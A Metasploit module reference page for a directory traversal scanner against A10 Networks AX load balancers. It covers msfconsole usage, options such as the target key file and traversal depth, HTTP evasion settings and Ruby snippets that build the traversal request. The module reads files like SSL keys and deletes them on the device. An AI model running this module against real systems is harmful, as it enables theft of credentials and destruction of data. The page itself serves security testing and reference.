A10 Networks AX Loadbalancer Directory Traversal - Metasploit
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Module Overview
Name: A10 Networks AX Loadbalancer Directory Traversal
Module: auxiliary/scanner/http/a10networks_ax_directory_traversal
Source code: modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb
Disclosure date: 2014-01-28
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -
This module exploits a directory traversal flaw found in A10 Networks (Soft) AX Loadbalancer version 2.6.1-GR1-P5/2.7.0 or less. When handling a file download request, the xml/downloads class fails to properly check the 'filename' parameter, which can be abused to read any file outside the virtual directory. Important files include SSL certificates. This module works on both the hardware devices and the Virtual Machine appliances. IMPORTANT NOTE: This module will also delete the file on the device after downloading it. Because of this, the CONFIRM_DELETE option must be set to 'true' either manually or by script.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/http/a10networks_ax_directory_traversal
msf auxiliary(a10networks_ax_directory_traversal) > show options
... show and set options ...
msf auxiliary(a10networks_ax_directory_traversal) > set RHOSTS ip-range
msf auxiliary(a10networks_ax_directory_traversal) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(a10networks_ax_directory_traversal) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(a10networks_ax_directory_traversal) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(a10networks_ax_directory_traversal) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the scanner/http/a10networks_ax_directory_traversal auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/http/a10networks_ax_directory_traversal
msf6 auxiliary(scanner/http/a10networks_ax_directory_traversal) > show info
Name: A10 Networks AX Loadbalancer Directory Traversal
Module: auxiliary/scanner/http/a10networks_ax_directory_traversal
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2014-01-28
Provided by:
xistence
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CONFIRM_DELETE false yes Run the module, even when it will delete files
DEPTH 10 yes The max traversal depth to root directory
FILE /a10data/key/mydomain.tld yes The file to obtain
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The URI path to the web application
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
Description:
This module exploits a directory traversal flaw found in A10
Networks (Soft) AX Loadbalancer version 2.6.1-GR1-P5/2.7.0 or less.
When handling a file download request, the xml/downloads class fails
to properly check the 'filename' parameter, which can be abused to
read any file outside the virtual directory. Important files include
SSL certificates. This module works on both the hardware devices and
the Virtual Machine appliances. IMPORTANT NOTE: This module will
also delete the file on the device after downloading it. Because of
this, the CONFIRM_DELETE option must be set to 'true' either
manually or by script.
References:
OSVDB (102657)
http://www.securityfocus.com/bid/65206
https://www.exploit-db.com/exploits/31261
Module Options
This is a complete list of options available in the scanner/http/a10networks_ax_directory_traversal auxiliary module:
msf6 auxiliary(scanner/http/a10networks_ax_directory_traversal) > show options
Module options (auxiliary/scanner/http/a10networks_ax_directory_traversal):
Name Current Setting Required Description
---- --------------- -------- -----------
CONFIRM_DELETE false yes Run the module, even when it will delete files
DEPTH 10 yes The max traversal depth to root directory
FILE /a10data/key/mydomain.tld yes The file to obtain
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The URI path to the web application
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the scanner/http/a10networks_ax_directory_traversal auxiliary module:
msf6 auxiliary(scanner/http/a10networks_ax_directory_traversal) > show advanced
Module advanced options (auxiliary/scanner/http/a10networks_ax_directory_traversal):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/http/a10networks_ax_directory_traversal module can do:
msf6 auxiliary(scanner/http/a10networks_ax_directory_traversal) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/http/a10networks_ax_directory_traversal auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/http/a10networks_ax_directory_traversal) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
- This module will delete files on vulnerable systems. Please, set CONFIRM_DELETE in order to run it.
- Cannot obtain '<FNAME>', here are some possible reasons
- 1. File does not exist.
- 2. The server does not have any patches deployed.
- 3. Your 'DEPTH' option isn't deep enough.
- 4. Some kind of permission issues.
- File not found. Check FILE.
- Fail to obtain file for some unknown reason
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
This module will delete files on vulnerable systems. Please, set CONFIRM_DELETE in order to run it.
Here is a relevant code snippet related to the "This module will delete files on vulnerable systems. Please, set CONFIRM_DELETE in order to run it." error message:
45: ])
46: end
47:
48: def run
49: unless datastore['CONFIRM_DELETE']
50: print_error("This module will delete files on vulnerable systems. Please, set CONFIRM_DELETE in order to run it.")
51: return
52: end
53:
54: super
55: end
Cannot obtain '<FNAME>', here are some possible reasons
Here is a relevant code snippet related to the "Cannot obtain '<FNAME>', here are some possible reasons" error message:
68: 'filename' => "/a10data/tmp/#{traverse}#{datastore['FILE']}"
69: }
70: })
71:
72: if res and res.code == 500 and res.body =~ /Error report/
73: vprint_error("Cannot obtain '#{fname}', here are some possible reasons:")
74: vprint_error("\t1. File does not exist.")
75: vprint_error("\t2. The server does not have any patches deployed.")
76: vprint_error("\t3. Your 'DEPTH' option isn't deep enough.")
77: vprint_error("\t4. Some kind of permission issues.")
78: elsif res and res.code == 200
1. File does not exist.
Here is a relevant code snippet related to the "1. File does not exist." error message:
69: }
70: })
71:
72: if res and res.code == 500 and res.body =~ /Error report/
73: vprint_error("Cannot obtain '#{fname}', here are some possible reasons:")
74: vprint_error("\t1. File does not exist.")
75: vprint_error("\t2. The server does not have any patches deployed.")
76: vprint_error("\t3. Your 'DEPTH' option isn't deep enough.")
77: vprint_error("\t4. Some kind of permission issues.")
78: elsif res and res.code == 200
79: data = res.body
2. The server does not have any patches deployed.
Here is a relevant code snippet related to the "2. The server does not have any patches deployed." error message:
70: })
71:
72: if res and res.code == 500 and res.body =~ /Error report/
73: vprint_error("Cannot obtain '#{fname}', here are some possible reasons:")
74: vprint_error("\t1. File does not exist.")
75: vprint_error("\t2. The server does not have any patches deployed.")
76: vprint_error("\t3. Your 'DEPTH' option isn't deep enough.")
77: vprint_error("\t4. Some kind of permission issues.")
78: elsif res and res.code == 200
79: data = res.body
80: p = store_loot(
3. Your 'DEPTH' option isn't deep enough.
Here is a relevant code snippet related to the "3. Your 'DEPTH' option isn't deep enough." error message:
71:
72: if res and res.code == 500 and res.body =~ /Error report/
73: vprint_error("Cannot obtain '#{fname}', here are some possible reasons:")
74: vprint_error("\t1. File does not exist.")
75: vprint_error("\t2. The server does not have any patches deployed.")
76: vprint_error("\t3. Your 'DEPTH' option isn't deep enough.")
77: vprint_error("\t4. Some kind of permission issues.")
78: elsif res and res.code == 200
79: data = res.body
80: p = store_loot(
81: 'a10networks.ax',
4. Some kind of permission issues.
Here is a relevant code snippet related to the "4. Some kind of permission issues." error message:
72: if res and res.code == 500 and res.body =~ /Error report/
73: vprint_error("Cannot obtain '#{fname}', here are some possible reasons:")
74: vprint_error("\t1. File does not exist.")
75: vprint_error("\t2. The server does not have any patches deployed.")
76: vprint_error("\t3. Your 'DEPTH' option isn't deep enough.")
77: vprint_error("\t4. Some kind of permission issues.")
78: elsif res and res.code == 200
79: data = res.body
80: p = store_loot(
81: 'a10networks.ax',
82: 'application/octet-stream',
File not found. Check FILE.
Here is a relevant code snippet related to the "File not found. Check FILE." error message:
85: fname
86: )
87: vprint_line(data)
88: print_good("#{fname} stored as '#{p}'")
89: elsif res and res.code == 404 and res.body.to_s =~ /The requested URL.*was not found/
90: vprint_error("File not found. Check FILE.")
91: else
92: vprint_error("Fail to obtain file for some unknown reason")
93: end
94: end
95: end
Fail to obtain file for some unknown reason
Here is a relevant code snippet related to the "Fail to obtain file for some unknown reason" error message:
85: fname
86: )
87: vprint_line(data)
88: print_good("#{fname} stored as '#{p}'")
89: elsif res and res.code == 404 and res.body.to_s =~ /The requested URL.*was not found/
90: vprint_error("File not found. Check FILE.")
91: else
92: vprint_error("Fail to obtain file for some unknown reason")
93: end
94: end
95: end
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6526 Merged Pull Request: Peers for the peer god
- #5059 Merged Pull Request: Yard doc corrections
- #2971 Merged Pull Request: Fixup on description and some option descrips
- #2926 Merged Pull Request: added A10Networks AX loadbalancer Dir Traversal Auxiliary Module
References
- CVE: Not available
- OSVDB (102657)
- BID-65206
- EDB-31261
See Also
Check also the following modules related to this module:
- auxiliary/scanner/http/axis_local_file_include
- auxiliary/scanner/http/axis_login
- auxiliary/scanner/http/trace_axd
- auxiliary/scanner/http/barracuda_directory_traversal
- auxiliary/scanner/http/cisco_directory_traversal
- auxiliary/scanner/http/httpdasm_directory_traversal
- auxiliary/scanner/http/majordomo2_directory_traversal
- auxiliary/scanner/http/springcloud_directory_traversal
- auxiliary/scanner/http/support_center_plus_directory_traversal
- auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing
- auxiliary/admin/http/axigen_file_access
- auxiliary/admin/maxdb/maxdb_cons_exec
- auxiliary/dos/http/f5_bigip_apm_max_sessions
- auxiliary/dos/windows/rdp/ms12_020_maxchannelids
- auxiliary/dos/windows/ssh/sysax_sshd_kexchange
- auxiliary/admin/edirectory/edirectory_dhost_cookie
- auxiliary/admin/edirectory/edirectory_edirutil
- auxiliary/admin/smb/list_directory
- auxiliary/dos/http/wordpress_directory_traversal_dos
- exploit/linux/misc/novell_edirectory_ncp_bof
- exploit/windows/http/edirectory_host
- exploit/windows/http/edirectory_imonitor
Authors
- xistence
Version
This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.
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